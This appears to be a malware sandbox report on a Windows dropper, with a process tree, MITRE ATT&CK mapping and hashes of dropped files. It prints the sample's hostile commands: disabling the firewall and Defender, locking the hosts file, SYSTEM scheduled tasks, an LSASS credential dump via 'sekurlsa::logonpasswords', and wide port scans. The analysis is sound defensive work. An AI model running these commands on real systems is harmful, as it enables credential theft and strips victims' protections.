- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1408
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2988
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4524
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:852
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4264
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1188
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1828
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4112
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\rgpuenbvt\hzvztyutv\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\rgpuenbvt\hzvztyutv\wpcap.exe
    C:\Windows\rgpuenbvt\hzvztyutv\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3520
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:3736
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1224
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4572
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2140
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3540
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      PID:5108
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:2856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:3456
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:680
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3172
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:3764
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:380
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:5064
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\rgpuenbvt\hzvztyutv\penegiqll.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\rgpuenbvt\hzvztyutv\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2640
- - C:\Windows\rgpuenbvt\hzvztyutv\penegiqll.exe
    C:\Windows\rgpuenbvt\hzvztyutv\penegiqll.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\rgpuenbvt\hzvztyutv\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2944
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\rgpuenbvt\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\rgpuenbvt\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:2980
- - C:\Windows\rgpuenbvt\Corporate\vfshost.exe
    C:\Windows\rgpuenbvt\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4304
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "drhlvlrlm" /ru system /tr "cmd /c C:\Windows\ime\yyuzvnr.exe"
  2⤵
  PID:1584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1652
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "drhlvlrlm" /ru system /tr "cmd /c C:\Windows\ime\yyuzvnr.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3160
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ylttkgzdu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\klhnlzly\yyuzvnr.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1008
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4796
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ylttkgzdu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\klhnlzly\yyuzvnr.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2376
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "eyqkeetlm" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bqazjegtg\uieubf.exe /p everyone:F"
  2⤵
  PID:4088
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:660
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "eyqkeetlm" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bqazjegtg\uieubf.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1348
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:664
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3816
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2140
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4792
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2356
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:688
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4264
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4032
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2304
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:996
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2288
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:2948
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1384
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:3184
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4720
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:692
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3280
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3024
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4380
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:216
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4952
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2528
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:3152
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:4796
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2328
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:5096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  PID:4572
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1104
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4016
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    PID:3136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:764
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1424
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4996
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1580
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3572
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 780 C:\Windows\TEMP\rgpuenbvt\780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 1012 C:\Windows\TEMP\rgpuenbvt\1012.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5056
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 2124 C:\Windows\TEMP\rgpuenbvt\2124.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1720
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 2700 C:\Windows\TEMP\rgpuenbvt\2700.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4304
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 2736 C:\Windows\TEMP\rgpuenbvt\2736.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2460
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 1420 C:\Windows\TEMP\rgpuenbvt\1420.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4116
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 2888 C:\Windows\TEMP\rgpuenbvt\2888.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4372
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 3796 C:\Windows\TEMP\rgpuenbvt\3796.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2424
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 3896 C:\Windows\TEMP\rgpuenbvt\3896.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1820
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 3972 C:\Windows\TEMP\rgpuenbvt\3972.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2664
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 4056 C:\Windows\TEMP\rgpuenbvt\4056.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3328
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 2624 C:\Windows\TEMP\rgpuenbvt\2624.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:796
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 3688 C:\Windows\TEMP\rgpuenbvt\3688.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4744
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 5000 C:\Windows\TEMP\rgpuenbvt\5000.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4380
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 220 C:\Windows\TEMP\rgpuenbvt\220.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4136
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 2052 C:\Windows\TEMP\rgpuenbvt\2052.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3540
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 3740 C:\Windows\TEMP\rgpuenbvt\3740.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4264
- C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe
  C:\Windows\TEMP\rgpuenbvt\tllgdyunt.exe -accepteula -mp 4416 C:\Windows\TEMP\rgpuenbvt\4416.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5044
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\rgpuenbvt\hzvztyutv\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4808
- - C:\Windows\rgpuenbvt\hzvztyutv\tuznevtjd.exe
    tuznevtjd.exe TCP 138.199.0.1 138.199.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:2988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  PID:2648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:5412
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5424
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6896
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6040
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5236

C:\Windows\SysWOW64\jobnkm.exe
C:\Windows\SysWOW64\jobnkm.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:832

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\bqazjegtg\uieubf.exe /p everyone:F
1⤵
PID:2404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2296
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\bqazjegtg\uieubf.exe /p everyone:F
  2⤵
  PID:764

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\yyuzvnr.exe
1⤵
PID:4936
- C:\Windows\ime\yyuzvnr.exe
  C:\Windows\ime\yyuzvnr.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1636

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\klhnlzly\yyuzvnr.exe /p everyone:F
1⤵
PID:3700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3236
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\klhnlzly\yyuzvnr.exe /p everyone:F
  2⤵
  PID:2444

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\bqazjegtg\uieubf.exe /p everyone:F
1⤵
PID:2984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:6724
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\bqazjegtg\uieubf.exe /p everyone:F
  2⤵
  PID:4860

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\yyuzvnr.exe
1⤵
PID:4016
- C:\Windows\ime\yyuzvnr.exe
  C:\Windows\ime\yyuzvnr.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:6988

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\klhnlzly\yyuzvnr.exe /p everyone:F
1⤵
PID:6760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:6604
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\klhnlzly\yyuzvnr.exe /p everyone:F
  2⤵
  PID:6196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\bqazjegtg\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\rgpuenbvt\1012.dmp

Filesize
33.6MB

MD5
9276b603428951a4627c5dc253e9049b

SHA1
49c435ea4ea281eef4036fc860778a34220b76ef

SHA256
0c25f133a9a3884ab3259812152722a6ba6f7037ea1a90145f1364a2a0812474

SHA512
110ba71acf02a69c43de03049601645a4a83e07d848b2a12a02d8caa23d338194b05f21235ba52154f2560e28099708dafec3005dd70c0feebeefa5a17c8da6a

Download Submit
C:\Windows\TEMP\rgpuenbvt\1420.dmp

Filesize
830KB

MD5
aace23f9537279ce6f74cceb6e7f7cf7

SHA1
0c6f3060dfcf99cdd44ba8e0331ddde5c6da9d62

SHA256
8a43f1b3376a5b5aa19a42f03e379e22ba7e2246b416d680e28a34dff7a149fd

SHA512
de8816463927a51953d9960b4702375ebd0d9c8843453cf3c4d36c292d495809a2412082bfb172c34f549f9590fd353a85ed97d031c385ebddbf9201db04de69

Download Submit
C:\Windows\TEMP\rgpuenbvt\2124.dmp

Filesize
4.1MB

MD5
d84371aae141b544359dd07954998297

SHA1
6368991e74597f382355636e4d15a7136984c1b4

SHA256
bf1ec74e7b8bbfa9ad005c79e587e3406af2201f6d7c5bde4bb1a5ab5fdc8586

SHA512
666364ed43e197e8fde7a68c6ec20085b3a1f8b9cda4bc676988dceae12ca3eaeaee29183c061930f599c95153b3878f8a4dbde136aceeb61f6ef86682d3937d

Download Submit
C:\Windows\TEMP\rgpuenbvt\220.dmp

Filesize
2.8MB

MD5
6f8e3256187f634fa1857cea204ea4ef

SHA1
10c44f4cdf03b8d5f551b9aafe1aceadcc39234b

SHA256
270feafad03c1cf1b47bb6a4d4aa729339486d9fc9850bf6c6061e05974b15e5

SHA512
d41deef241e173807de8849b828a68bba202fd65b766679c99cecdc4338046d5fb659f245f7b0c6dccf65659891eff4df0e27b6936eb2f21b71a01237da0162a

Download Submit
C:\Windows\TEMP\rgpuenbvt\2624.dmp

Filesize
1.2MB

MD5
7fc20b508b53b9fba91d1259d61bb344

SHA1
ed4583042ac1b1b7cb54a1fd8e1178807c9c5adb

SHA256
63af925a5373cfaa42e6bf53acef8e5442767a82648ff545b863ff5cb021d32f

SHA512
156aa3d00039c4704f4203d8cba713bd5bb403946ed37077d8eca6b6edbdc6a14f08cc30dfdae051aa9e18ee90d4753cc40d445851c62532b1109a55d430e209

Download Submit
C:\Windows\TEMP\rgpuenbvt\2700.dmp

Filesize
4.1MB

MD5
4c0fa664f6047e4a85e369d52bc49661

SHA1
4362f99a9694e351bb898c37860168074656e921

SHA256
0fc0fb144ef15d86d8200ec544fdcf5f34f55c1af803f3cd979156f18c555815

SHA512
3d109657644a46e93a6b387130cc30ad5f771271449129a5264b14863e774d54f997abda9cca73b36b392a27aca9b35a6f1a7dfc69243e53b28eb9c04e271b1f

Download Submit
C:\Windows\TEMP\rgpuenbvt\2736.dmp

Filesize
7.5MB

MD5
096c91ef6766b839203b2a23b8d1b742
